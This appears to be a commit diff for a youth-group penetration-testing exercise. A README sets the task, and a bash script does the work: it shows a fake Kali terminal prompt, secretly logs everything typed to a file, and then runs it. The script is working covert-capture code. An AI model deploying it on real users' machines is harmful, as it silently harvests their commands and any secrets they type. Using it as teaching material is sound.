keylogger-example.sh: Example keylogger script

- Script logs all keys pressed on keyboard to file
- Fake command prompt is displayed to user while running

README.md: Added instructions for creating and running keylogger
- Instructions include creating new directory, executable file, and script that logs keys to file
- Hints provided for infinite loop, getting input from user, displaying message of the day, and running variable as command.

README.md

@@ -1 +1,47 @@
 # BB-Pen-2
+
+The task this week is to create a simple keylogger that will log all the keys pressed on the keyboard and save them to a file.  
+The program should run in the background and not be visible to the user.  
+
+## Requirements
+- Access to the kali.boysbrigade.au server (or another linux machine) (This will be provided)
+
+## Instructions
+1. SSH into the server using the provided credentials following the instructions from last week.
+2. Create a new directory for your project and navigate into it. (Put your name in the directory name to avoid conflicts between other members)
+3. In that directory create a new executable file to run the keylogger.
+4. Write a script (file that ends in .sh) that will log all the keys pressed on the keyboard and save them to a file.
+5. Try to make the keylogger look like it is not running (Hint: show the user a fake command prompt)
+
+## Running the keylogger
+```sh
+# Run normally
+./keylogger.sh
+# Run so that it will close the SSH session when you close the logger
+exec ./keylogger.sh
+```
+
+## Hints
+1. Infinite loop:
+    ```sh
+    while true
+    do
+        # Your code here
+        # Will run forever
+    done
+    ```
+2. Get an input from the user:
+    ```sh
+    read -p "Enter something: " input
+    echo "You inputed $input"
+    ```
+3. Get the message of the day (Screen that appears when you login):
+    ```sh
+    cat /etc/motd
+    ```
+4. Run a variable as a command:
+    ```sh
+    command="ls"
+    $command
+    # This will run the 'ls' command
+    ```

keylogger-example.sh

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+#!/bin/bash
+# This script will run a keylogger
+# and display a fake terminal prompt
+
+Log=/root/keylogger/log.txt
+
+# Clear the terminal
+clear
+
+# Show the motd
+cat /etc/motd
+
+# Loop forever
+while true
+do
+
+# Get current terminal prompt
+promptp11="┌──(" #blue
+promptp12=$(whoami) #red
+promptp13="㉿kali" #red
+promptp14=")-[" #blue
+promptp15=$(pwd) #green
+
+# Replace home directory with ~
+promptp15=${promptp15//"$HOME"/"~"}
+
+promptp16="]" #blue
+promptp21="└─" #blue
+promptp22="#" #red
+
+# Display the prompt formatted for the user
+printf "\e[1;34m$promptp11\e[1;31m$promptp12\e[1;31m$promptp13\e[1;34m$promptp14\e[1;32m$promptp15\e[1;34m$promptp16\n\e[1;34m$promptp21\e[1;31m$promptp22\e[0m "
+
+# Read user input
+read input
+
+if [ -z "$input" ]; then
+exit
+fi
+
+# save the input to a file
+echo $input >> $Log
+
+# Run the command
+$input
+
+done